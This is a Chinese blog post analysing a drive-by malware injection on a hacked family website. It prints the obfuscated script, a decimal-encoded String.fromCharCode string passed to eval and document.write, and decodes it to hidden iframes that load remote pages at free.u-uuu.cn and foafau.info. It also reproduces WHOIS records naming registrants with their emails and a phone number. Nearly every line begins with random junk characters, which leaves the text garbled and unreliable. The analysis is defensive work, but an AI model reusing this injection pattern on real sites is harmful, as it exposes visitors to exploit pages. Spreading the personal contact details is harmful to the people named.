首发在我的博客里面，
#H DP ha 5[y+X|Am http://www.areway.cn/?p=175 ^ 0.` 1$ :\Q#W4~p 6e>P!bo 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
!aB~G} ' i@`qa m
<script>t=’60,105,102,114,97,109,101,
vw6 >eT 32,115,114,99,61,104,116,116,112,58,47,47,
yUjkRT&h 102,114,101,101,46,117,45,117,117,117,46,99,
Q7#t #XM 110,47,101,114,114,111,114,46,104,116,109,
~ <36vs k 32,119,105,100,116,104,61,49,48,48,32,104,
od)ssL&E~ 101,105,103,104,116,61,48,62,60,47,105,102,
dv Vz# 114,97,109,101,62′;
mclV " ? t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
s:K'I7_#@ F%f )oq`B <script>t=’60,105,102,114,97,109,101,32,115,
%Yt;)q3U 114,99,61,104,116,116,112,58,47,47,102,114,
p\P) 101,101,46,117,45,117,117,117,46,99,110,47,
<A(Bq'eQM 101,114,114,111,114,46,104,116,109,32,119,
WjBH2 v 105,100,116,104,61,49,48,48,32,104,101,105,
-TMg9M4 103,104,116,61,48,62,60,47,105,102,114,97,
-^Q m_lN 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
"l{{H&d document.write(t);</script>
%'uei4 m3~_uc/+D <html xmlns=”
4T]A!
y{
http://www.w3.org/1999/xhtml 6e S~* “>
uPy5 < c <head>
U.WXh(`% <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
OZ33w-X< <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
U[? f@.& <title>首页 - 爱生活家庭网
GExr] 2r o%!s/Z1 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
b<%c ]z 转换字符串后的大概内容是（谁点击后果自付）：
^T#jBqe <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
xI_0`@do |c>.xt~ 查询玉米u-uuu.cn的详细信息：
Z oy)2E{ Domain Name: u-uuu.cn
X~ cdM1z? ROID: 20070901s10001s64972306-cn
FJ{/EloF Domain Status: ok
AhkDLm+ Registrant Organization: 王雷
b0/YX@ Registrant Name: 王雷
LJ6l 3)tpD Administrative Email:
czlovexs@126.com CpB ,L Sponsoring Registrar: 北京万网志成科技有限公司
+|x{?%.O Name Server:ns.yovole.com
.4ZOm'ko{ Name Server:ns1.yovole.com
(d/!M
n6L Registration Date: 2007-09-01 17:54
uq/Fapl Expiration Date: 2008-09-01 17:54
:`4F0 最后PING了一下地址 都没有什么….
5$$# d_Gj ?6]B6 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
peH jKK <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
UM`{V5NG# <script language=”javascript” src=”
O c.fvP^ZD http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script puLgc$? >
bT6VxbNS 这个玉米应该有可能是木马作者的：
t(dVd% foafau.info的详细信息：
f[
2PAz Access to INFO WHOIS information is provided to assist persons in
6Xz d> 5x determining the contents of a domain name registration record in the
]28j$)6
Afilias registry database. The data in this record is provided by
#.!#"8{0_ Afilias Limited for informational purposes only, and Afilias does not
'oK o F guarantee its accuracy. This service is intended only for query-based
2;j<{' access. You agree that you will use this data only for lawful purposes
V= - and that, under no circumstances will you use this data to: (a) allow,
*dxm|F98 enable, or otherwise support the transmission by e-mail, telephone, or
TtF+ ~K facsimile of mass unsolicited, commercial advertising or solicitations
[V>s]c<4`o to entities other than the data recipient’s own existing customers; or
Alo L+eN@ (b) enable high volume, automated, electronic processes that send
YQ.ci4.f queries or data to the systems of Registry Operator, a Registrar, or
{F 2Rv Afilias except as reasonably necessary to register domain names or
4lWqQVx modify existing registrations. All rights reserved. Afilias reserves
ya{`gjIlW the right to modify these terms at any time. By submitting this query,
1Y&W>p you agree to abide by this policy.
i]N<xcF9N* Domain ID:D22418703-LRMS
kG{}; Vm Domain Name:FOAFAU.INFO
[u$|/ Created On:20-Nov-2007 16:05:42 UTC
]8fn1Hx\ Last Updated On:20-Nov-2007 16:05:44 UTC
@HiGc^ X( Expiration Date:20-Nov-2008 16:05:42 UTC
6%h% h: e Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
x .Egl4b3 Status:CLIENT DELETE PROHIBITED
nGe4IY\ -w Status:CLIENT RENEW PROHIBITED
Z' >UR.g Status:CLIENT TRANSFER PROHIBITED
2m]4 Status:CLIENT UPDATE PROHIBITED
j7MU A#6$ Status:TRANSFER PROHIBITED
cc*?4C/t Registrant ID:GODA-040110615
LSA6*Q51 Registrant Name:liu hong
ZG2 EOy Registrant Organization:
?ueL'4Mm Registrant Street1:beijing
V8) :! Registrant Street2:
x s\< ! Registrant Street3:
< K!r\^ Registrant City:beijing
l`N4P Registrant State/Province:
$ZGup"z ) Registrant Postal Code:100000
MZ&.{SY7 Registrant Country:CN
~?Vo d|> Registrant Phone:+86.860108888777
u6F>o+Td) Registrant Phone Ext.:
wn?oHz* Registrant FAX:
R.*;] R>M Registrant FAX Ext.:
zn 0y`9!n? Registrant Email:bbbshiji@163.com
=
g
& Admin ID:GODA-240110615
.:f ao' Admin Name:liu hong
R[v0T/ Admin Organization:
?g{[U0) Admin Street1:beijing
K<:%ofB"S Admin Street2:
iAQ[;M 3p Admin Street3:
vR:#g;mnk Admin City:beijing
LwRzzgt Admin State/Province:
C 5-u86F Admin Postal Code:100000
^7/v[J<< Admin Country:CN
'DVn /3?X Admin Phone:+86.860108888777
t` E5bWG Admin Phone Ext.:
3))CD,| Admin FAX:
&_-=(rK Admin FAX Ext.:
p?>J86%[ Admin Email:bbbshiji@163.com
fcEm :jEZ* Billing ID:GODA-340110615
7Z`4K dh . Billing Name:liu hong
Z2m^yRQ( Billing Organization:
esA^-$ Billing Street1:beijing
WN{8gL&y Billing Street2:
6]%=q)oL[ Billing Street3:
hWbu
Z% Billing City:beijing
:t!J
9 Billing State/Province:
lqv}~MC Billing Postal Code:100000
-e(<Jd_= Billing Country:CN
6Aqv*<1=62 Billing Phone:+86.860108888777
?]Hs~n- Billing Phone Ext.:
}wn|2K' Billing FAX:
YT oG'#qs Billing FAX Ext.:
zeQ~'ao< Billing Email:bbbshiji@163.com
q6$6:L,< Tech ID:GODA-140110615
1}|y^oB\- Tech Name:liu hong
]^.`}Y=`g Tech Organization:
#&IrCq+ Tech Street1:beijing
Cj 3Xp~ Tech Street2:
;kZD>G 8 Tech Street3:
Gdb0e]Vt+ Tech City:beijing
`Zo5!"' Tech State/Province:
paD[4L?4Hk Tech Postal Code:100000
6x(b/`V W Tech Country:CN
q1 q~%+Jy Tech Phone:+86.860108888777
rwUhNth-Qh Tech Phone Ext.:
j -o Tech FAX:
|tI{MztJ"c Tech FAX Ext.:
c/bT5TIEWs Tech Email:bbbshiji@163.com
1_LKqBgo Name Server:NS27.DOMAINCONTROL.COM
7mi*#X} Name Server:NS28.DOMAINCONTROL.COM
vFJ4`Gjw( Name Server:
Ja*,ht(5 Name Server:
mD +9/O! Name Server:
$aTo9{M ^ Name Server:
8i`T?KB Name Server:
XU}i<5 Name Server:
9mM Q Name Server:
l>`S<rGe Name Server:
oSMIWwg7G Name Server:
b4$. uLY Name Server:
N/ {=j Name Server:
x?{l<mc NPBOG1q% 接着下载每个文件里面的代码：
r\b$/:y<e 一步一步看..
9} C(M?d 
j/uMSE 
@Kbj:S ;m 
T` v 
*yI( (G/ 
fF/;BSq' 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
